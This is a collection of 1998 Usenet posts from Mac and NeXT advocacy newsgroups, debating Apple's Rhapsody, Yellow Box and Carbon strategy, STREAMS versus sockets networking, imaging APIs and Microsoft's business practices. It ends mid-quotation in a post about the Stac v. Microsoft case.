From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 13:19:05 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906981319050001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <slrn6np32f.jsi.sal@panix3.panix.com> <rmcassid-0806982238380001@dialin33413.slip.uci.edu> <slrn6nqpjc.562.sal@panix3.panix.com>
In article <slrn6nqpjc.562.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On Mon, 08 Jun 1998 22:38:37 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
>>Thanks. That helps fill in a gap. More still remain, however. Like YB <->
>>Carbon issues.
>
>I think you *could* mix Carbon and YB APIs. Once you do that, you end up with
>a non-portible App. It won't run on MacOS9 (Since it lacks YB) and it won't
>port to Windows (since it lacks Carbon)
I generally don't care about mixing YB and Carbon, except that I don't
know what camp the new APIs fall into. Will the security APIs be extended
to YB? What about Navigation Services? What about Internet Client APIs? I
know these are targetted to OS 8 and presumably Carbon, but am I SOL if I
write to YB? Losing portability is bad. Having to do it by way of a hack
is bad. And it suggests a trend that Apple is extending Carbon and not
YB... which is of great concern.
>Ok. I see your point. But for the extra effort of learning YB you get a
>free windows version of your App. In many cases it might be worth learning
>YB just to be able to target the 95% of the market you might miss with
>a carbon App.
*I* know that. And *you* know that. But all those other people obviously
don't. I think it falls into risk/reward. For in-house, it'd be pretty
much a no-brainer -- make the investment. For commercial? Why invest all
that effort if cross-platform is already in the bag and Apple might yank
away your market...
>>And for DB front end, I agree completely. Next really did a nice job
>>there. But that's a whole different animal from a lot of what developers
>>need to do.
>
>I work on DB front ends. That is 95% of my job. Any statements on YB from
>me should take that into account. EOF knocks a 1/3 off the time it takes
>me to build a mid sized App. And I can sit down with a non-technical user
>and *show* him what the data looks like. With IB I can sit with him and work
>out the best way to place data on the screen , and have he changes just
>pop up and work. They only tool that comes close is Borland's Delphi.
And I'd love to do that, but that means the 604 boxes that I have either
need to run Rhapsody day-to-day, or presumably I replace them with G3s for
Mac OS X. Or I adopt another client-server model that doesn't depend on
Apple strategies so much - like using WO instead of YB/EOF directly. It
won't work as well, but at least it will work. I don't like the decision I
feel I'm forced to make.
>> And not all parts of the Rhapsody APIs and tools are as nice
>>as EOF and EOModeler, IMO.
>
>IB could use a cleanup. And I've never been to crazy about the file browser.
>It's ok, I guess.
I agree. I've seen worse, though.
><mantra>
>Simple things should be simple. Complex things should be possible.
></mantra>
>
>I would think that the Mac toolbox has moved away from that in the past decade.
I'm starting to get the feeling that YB is following suit...
-Bob Cassidy
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: 9 Jun 1998 20:25:57 GMT
Organization: echonyc.com
Message-ID: <slrn6nr6o5.ntc.ben@ben.tapehouse.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl> <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com> <SCOTT.98Jun5112748@slave.doubleu.com> <*johnnyc*-0806981237270001@jchristie.halifaxcable.dal.ca> <SCOTT.98Jun8113349@slave.doubleu.com> <*johnnyc*-0906981538530001@jchristie.halifaxcable.dal.ca>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <*johnnyc*-0906981538530001@jchristie.halifaxcable.dal.ca>,
John Christie wrote:
>If the current YB and other components of Rhapsody
>that access Sockets don't hack it in any way slipping the CURRENT sockets
>over STREAM implementation underneath, instead of a straight BSD sockets
>implementation, should be a piece of cake (if Rhapsody does hack sockets
>then they should fix it).
What makes you think it would be so trivial to put STREAMS in BSD? Just
because sockets have been implemented over STREAMS before doesn't mean
that implementing STREAMS in Rhapsody would be easy. Based on my
knowledge of other 4.4BSD-based systems, I would guess that putting
STREAMS into Rhapsody would be not a small project at all.
--
Ben
"You have your mind on computers, it seems."
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 20:33:31 GMT
Organization: echonyc.com
Message-ID: <slrn6nr76b.ntc.ben@ben.tapehouse.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <slrn6nr3i3.1po.sal@panix3.panix.com>, Salvatore Denaro wrote:
>On 9 Jun 1998 19:00:09 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
>>Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
>>are you familiar with the technical reasons?
>
>Apple has pnly commited to providing MacOSX on Apple g3 machines. They
>have not commited to providing it on 7[3,5,6]00 or 8[5,6]00 machines. They
>have not commited to providing it on Intel based machines.
That's interesting, but it answers neither of my questions.
>If you diagree with this, consider sending a letter to leadership@apple.com
>asking for MacOSX on Intel and older PCI based Macs.
MacOS X on Intel is a lost cause, I think, with some technical reasons
(endian stuff with Carbon) and some political reasons (MacOS apps on Intel
hardware? Heresy!). MacOS X on older Macs is just plain good sense, and
I may send that mail you suggested.
--
Ben
"You have your mind on computers, it seems."
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: 9 Jun 1998 19:13:27 GMT
Organization: Cygnus Solutions
Message-ID: <6lk1gn$6oh$1@cronkite.cygnus.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122>
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<bhahn-ya02408000R0806981528390001@news.transoft.net> <rmcassid-0806981556190001@dante.eng.uci.edu>
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Cc: *johnnyc*@or.psychology.dal.ca
In <*johnnyc*-0906981554470001@jchristie.halifaxcable.dal.ca> John Christie
wrote:
> In article <rmcassid-0806981556190001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
>
> > The argument for a STREAMS API is a valid one, but does not preclude
using
> > BSD networking, as you note, in much the same way that the presence of a
> > sockets API does not preclude using STREAMS.
> >
> > But I think the basis for his argument is that sockets is very stable and
> > well tested, and already built into and integrated in the system. Since a
> > STREAMS API should be able to be built on top of that (since, apparently
> > one already has been) nobody loses, but we get a better tested, free
> > solution sooner. The engineers might prefer STREAMS since its probably
> > more elegant but management wants to deliver a more stable solution
sooner
> > with the least amount of work.
>
> I have never heard of a STREAMS being built on top of sockets. I would
> like to be enlightened. Wouldn't the faster solution be to take the
> already completed sockets on top of STREAMS solution and use that. In
> either case both APIs are available. That is the most important part for
> getting MacOS X running. However, one has been done and the other hasn't.
>
>
Forgive my ignorance here..
but in my experience with TCP, wouldn't it be easy to just do _both_?
I don't mean put sockets on top of streams, nor putting streams on top of
sockets.. I mean seperate implimentations that both rest on top of the
underlying TCP layer.
Sockets is just a library that invokes the IP services in the kernel.
There's no reason another library couldn't do so independantly. The IP
layer, if well compartmentalized, will keep track of which ports on used by
which processes/etc on its own. Ofcourse, I'm assuming Sockets and Streams
are each implemented in an intelligent manner that would allow this.. so you
could have an architectural diagram that looks like this:
+--------+---------+
| BSD | STREAMS |
|Sockets | |
+--------+---------+
| |
| IP Layers |
| (TCP, UDP, ICMP. |
| etc) |
+------------------+
Are either Sockets or STREAMS implimented in such a way that they aren't able
to do this?
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Skip NT 5.0
Date: 9 Jun 1998 20:50:05 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lk75t$afl@newsb.netnews.att.com>
Originator: gupta@tlctest
Finally, Rob Enderle says something, that makes sense, IMO.
-arun gupta
http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
Analysts at GigaWorld say skip NT 5.0
Quote :
With 30 million lines of code, 85 percent of which is new,
Windows NT 5.0 is likely to be buggy, said Rob Enderle,
director of desktop and mobile technology at Giga....
"It's too complex and too new," Enderle said.
"Even inside Microsoft, there's a realization that the product
won't ramp to volume till NT 6.0 because of the fear of initial
releases."
Enderle advised waiting until service pack 3, or NT 5.5, which
could be out a year or so after NT 5.0
End quote.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 20:58:23 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357DA1EF.3BF4863A@nstar.net>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> >I mean,
> >that's what Rhapsody/YB does. It basically puts a friggin' TON of people
> >out of luck who've been around helping Apple for a long time. Apple
> >cannot just shoot them in the back or send them packing.
>
> I agree with this. My point is not that Carbon shouldn't be here. It's
> *great* that they came up with it.
My current theory/explanation for the strategy is that Apple had two
possible plans: deliver Rhapsody as a big step forward, or put Rhapsody
many years out, as a distant but constant target. Apple tried the former
first, and found it unsuccessful. Now they're working the latter; if my
analysis is correct, Apple is giving up anything. Rather, they're simply
putting all that good front-end stuff (what isn't strictly part of the
Concert APIs) in an abstract target that gives Apple a guaranteed vision
for at least three-to-five years to come.
[cut]
> To an extent I agree here. But they are being a little too strong on some
> points. They are pushing people like me into a corner. I'm having a very
> hard time defending my position here because I don't know where things are
> going. When I can't defend my position, things like NT show up since it
> requires no defense.
That's the best way I've seen this put for a long time. Very well
spoken.
> I'm underwhelmed as well, in some cases.
>
> Java as language: pretty good. Better than C++, at least.
From a practical perspective, it's perfect. The C/C++ similarities
encourage existing developers, but the language is sufficiently improved
to encourage migration. The language isn't wonderful, but it makes a lot
of the right compromises. It doesn't really feel "alien", the way Eiffel
or Obj-C would to many.
> Java as API: pretty bad.
I wouldn't say bad; the main thing is that it's extensive and robust.
Windows as an API is pretty bad, but you can do a *whole lot* with
Windows. Java aims for the same thing.
Some of the newer Java APIs are well-designed.
> Java as OS: I don't think so.
This is really impossible to say; I don't think anybody can really say
what "Java as OS" would mean, with specifics. At least, I can't. If you
know better, please share.
> Well, yes and no. Do you like Java because it is a better language to deal
> with than C++ or because you want your app to run on Windows, MacOS, and
> Linux? If you are in the latter camp, you are SOL with YB. Most people I
> think are in the latter camp. It doesn't matter how crappy the APIs are,
> thats all there is. YB is not an alternative. If Apple made it an
> alternative, my position turns around 100%.
Yes, Concert is no longer an effective Java competitor. Very
disappointing.
There's actually a rather nice solution to all of this...
[cut]
> >People develop for Win32 because they have to or because they don't know
> >any better. How would you propose switching them over to anything? You'd
> >have to educate them first. The current installed base of Win32
> >developers are to a certain extent a lost cause, unless you map a
> >Win32-like API (like WINE, OS/2 Warp, etc.) on top of Rhapsody/MacOS X,
> >like Carbon is on top...
>
> I don't know how.
Make Java and Concert a cooperative pair. Not just Java the language,
but Java the API, as well. Java the API has a sizeable following and a
lot of visibility. Java the language is already part of MacOS X.
My solution: adopt the Java APIs as the basic API for MacOS X. Now spend
the next five years moving toward the Rhapsody target, improving
everything in Java that's lacking by comparison.
I still believe, as I did 9 months ago, that selling the company to Sun
is the best way to see this happen. That's just my opinion.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 08:53:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A2A874-30449@206.165.43.26>
References: <6livam$9m9$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Maury Markowitz <maury@remove_this.istar.ca> said:
>
> I'm a Mac-head, have been for almost a decade now.
'87 myself.
Never once looked at
>NeXT's stuff until Apple bought them.
>
And haven't looked at some Apple technology since it was introduced, what,
4-5 years ago?
> The NeXT people are right. You can fear that or you can embrace it. I
>choose the later.
I chose to go with what I think is best in each instance based on
observation, discussion, reading, etc.
I am often wrong, but at least I try to be informed.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 13:32:29 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0906981332290001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net>
In article <slrn6nr1n9.ntc.ben@ben.tapehouse.net>, ben@ben.tapehouse.net
(Ben Rosengart) wrote:
>In article <rmcassid-0906980844350001@dante.eng.uci.edu>, Robert Cassidy
>wrote:
>>
>>Agreed. There are a lot of dollars invested in hardware that will run
>>Rhapsody but not MacOS X. A lot of buying ahead of the curve took place.
>>Now that might have been a mistake. Of course I don't need to tell any
>>Intel folks that...
>
>Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
>are you familiar with the technical reasons?
Apple isn't yet willing to definitively say one way or another, but the
official word today is that MacOS X is G3 only, and that they are
evaluating support for older hardware.
Technical reasons? As far as I can tell, there are none based on the
specific line that they have drawn. My proof: The original Powerbook G3
and the 3400. Virtually identical in terms of hardware aside from the CPU.
OpenFirmware should not be an issue, nor should drivers. Only if they were
specifically generating G3 instructions that did not exist in the 603e
set. And that is entirely too easy to avoid if such differences exist.
It doesn't make a case for 8500/8600/9500/9600 support, but I imagine that
given existing Rhapsody support for that hardware, support under MacOS X
could not be so difficult as to preclude Apple from doing it considering
the number of people with large dollars invested and seemingly no OS
future beyond CR1.
-Bob Cassidy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 9 Jun 1998 21:42:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nrb2n.1po.sal@panix3.panix.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com> <slrn6nr76b.ntc.ben@ben.tapehouse.net>
On 9 Jun 1998 20:33:31 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
>In article <slrn6nr3i3.1po.sal@panix3.panix.com>, Salvatore Denaro wrote:
>>On 9 Jun 1998 19:00:09 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
>>>Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
>>>are you familiar with the technical reasons?
>That's interesting, but it answers neither of my questions.
Hopefully this will be clearer:
1) All of the Pre-G3 powermacs that support Rhapsody are currently unsupported
for running MacOSX
2) There are no (At least none that I can think off) technical reasons for this,
only QA reasons and marketing reasons. Maybe some political reasons.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 11:27:48 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lj67k$gle$1@ns3.vrx.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
<6li1b3$bgl$1@crib.corepower.com> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org>
<6livgp$9m9$2@ns3.vrx.net> <slrn6nqo4c.562.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6nqo4c.562.sal@panix3.panix.com> Salvatore Denaro claimed:
> It should be better then a free system. If it isn't who would be willing to
pay?
> (SCO should keep this in mind)
Good point.
> >a) better file system (4.4's stackable drivers)
>
> Hasn't this been in Linux since the 2.x kernels?
Yup, but I expect the marketshare issue to help here.
> >b) better networking
>
> Agreed. NetInfo is much nicer than nis/nis+
Yup.
> I would like to see Apple port it to NT and include it in the YB runtimes.
And a version for "old' MacOS would be nice too!
> >f) real application list
>
> For such a small market, I am amazed at the quality of the Apps.
Easy to build = good apps.
> >g) I get to run all my Mac software too
>
> Office?
Yup.
> Make your decsion based on the product and what it does, not on "religion".
> Don't get suckered into the cult of Steve, Bill or Linus.
Hear hear.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 11:29:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lj6a0$gle$2@ns3.vrx.net>
References: <6livam$9m9$1@ns3.vrx.net> <B1A2A874-30449@206.165.43.26>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1A2A874-30449@206.165.43.26> "Lawson English" claimed:
> And haven't looked at some Apple technology since it was introduced, what,
> 4-5 years ago?
Yes, but I _did_ look at it, and it sucked. I've also looked at a lot of
other lousy/incomplete software in that time - CTB, OpenDoc, PowerTalk etc.
I know quality when I see it.
> I chose to go with what I think is best in each instance based on
> observation, discussion, reading, etc.
Yes, but you can;t _buy_ that.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 9 Jun 1998 09:44:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A2B45A-5CFFA@206.165.43.26>
References: <6li95f$bl6$1@crib.corepower.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Nathan Urban <nurban@crib.corepower.com> said:
>In article <6li85t$gou1@odie.mcleod.net>, "Michelle L. Buck" <
>buck.erik@mcleod.net> wrote:
>
>> I just think it is absurd to claim WYSIWYG in this proposed imaging API.
>
>I think that it's WYSIWYG as long as you stick to the PS/PDF operators
>and such in the Yellow API. Of course, Carbon apps won't. But it's not
>like you can go replace the imaging model underneath a bunch of MacOS
>apps and magically make them WYSIWYG without changing any code, anyway.
Why not? As I understand it, you can keep the integer-based coordinate
system of the Plain Ole QuickDraw (color) API and you'll still end up using
the vector-based QDe calls when running in Carbon. That's still WYSIWYG
with complete device-independence. You're just constraining all drawing to
a 1/72" grid with a minimum line-width of 1/72".
And which Carbon/QuickDraw APIs are NOT a subset of PDF's? Aside from some
CopyBits options that may not be supported, I believe that all QD operators
can be mapped to PDF.
Even QD ovals and so on can be approximated to any arbitrary degree using
PDF calls behind the scenes.
Unless I'm missing something, they'll be using the PDF engine for virtually
all graphics and mapping the old-style graphics API directly to it.
Or maybe not. Maybe they ARE maintaining 2 separate graphics engines in
Carbon. In which case, yuck.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: 7 Jun 98 23:04:32
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun7230432@slave.doubleu.com>
References: <3579649C.99FB832@concentric.net>
In-reply-to: The Goldbergs's message of 06 Jun 1998 11:46:20 EDT
In article <3579649C.99FB832@concentric.net>,
The Goldbergs <kalbah@concentric.net> writes:
After reading about the iMac, I had some ideas about how cloning
could be coming back. Some intersting observations: The iMac's
architecture is derived from CHRP. CHRP does exist, with one
problem: the MacOS still requires Mac ROMs. So while anyone can
make a PPC machine, it can't run the MacOS.
My speculation, back before Apple killed cloning entirely, was that
they wouldn't come out with a MacOS with full CHRP support - instead,
they'd just put CHRP support in Rhapsody, which is a much simpler
problem to solve. The advantage of this is that they would then have
a set of captive advertisers - the cloners would all have to push
Rhapsody, and _hard_, to make a good go of it.
This idea was so simple, so obvious, that I figured there was NO WAY
it wasn't what was happening. Apple proved me wrong, sigh.
On top of all that, who knows what other surprises Apple has coming
down the pike?
Which will be the main reason they won't find many takers if they ever
open up to cloning again. Fool me twice, I'm the fool...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 Jun 98 11:50:24
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun8115024@slave.doubleu.com>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
<6j2m0f$m0c$3@ligarius.ultra.net>
<rmcassid-1105981158230001@dante.eng.uci.edu>
<6j9ac3$tnp$1@ligarius.ultra.net>
<rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
In-reply-to: "Michael J. Peck"'s message of Mon, 08 Jun 1998 10:28:46 -0500
In article <357C032E.C373357D@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
"Put out of business"? Name these companies who are being "put out
of business". Netscape? Sun Microsystems? Apple Computer?
Demonstrate that any of the above are being "put out of business"
by Microsoft.
Netscape certainly is being put out of the business that they created.
Given that they had the early monopoly in browsers, you'd expect that
_they_ would currently be the target of anti trust actions.
Digital Research fought Microsoft for years, and though they never
were "put out of business", they were bought out, broken up, and sold
off, which is close enough for me. Nowadays I believe DRDOS is called
OpenDOS, and is at Caldera. Netscape and kin also won't be "put out
of business", because they do have valuable assets which someone is
bound to purchase and integrate or resell. It's hard for companies
past a certain size to simply cease to exist, they're almost always
aquired or otherwise revamped.
To bring the DR point specifically on target, Microsoft has always
asserted that the DOS/Windows combination was unbreakable, and it was
nonsense to even consider using something other than MSDOS under
Windows (similar to the IE/Win98 argument). DRDOS has been
demonstrated running Windows many times over the years (I believe in
the last year under Windows95), but this never resulted in the
partitioning of Windows/MSDOS into seperately purchasable parts. If
you buy Windows, you get MSDOS, no choices.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 17:39:19 GMT
Organization: echonyc.com
Message-ID: <slrn6nqsvm.ntc.ben@ben.tapehouse.net>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115> <357C5D13.B2FEFA62@bcomp.com> <slrn6np04n.2r7.jason@jhste1.dyn.ml.org> <357d3c47.0@206.25.228.5>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <357d3c47.0@206.25.228.5>, John Kheit wrote:
>
>I think the problem most people have with the vast majority of NeXT
>people is they are really reasonable and right the great majority of the
>time;
One way I like to measure a user group is by how they treat their least
knowledgeable members. Judging by the posts in comp.sys.next.{hardware,
sysadmin,software}, NeXT users are friendly, helpful people, or at least
the ones who post are.
--
Ben
"You have your mind on computers, it seems."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 9 Jun 1998 17:31:38 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ljrhq$970@newsb.netnews.att.com>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net>
Originator: gupta@tlctest
John Saunders <jws@jws.ultranet.com> wrote:
>
>So, while I would be glad some day to discuss any proof you may have about
>MS applications developers getting special help from the OS group, that's
>not what we were discussing in this thread. Perhaps you'd like to start
>another topic?
No.
***
http://www.dap.csiro.au/Interest/LA-Law.html
On Wednesday, February 23, 1994, a federal jury in Los Angeles delivered
its verdict in the case of Stac Electronics vs. Microsoft Corporation.
Stac had sued Microsoft. charging that DoubleSpace in MS-DOS 6 infringed
on Stacs LZS data-compression patent. Microsoft countersued, charging
among other things that, by reverse-engineering the undocumented
"preload" interface in DOS 6 and using it in Stacker 3.1, Stac had
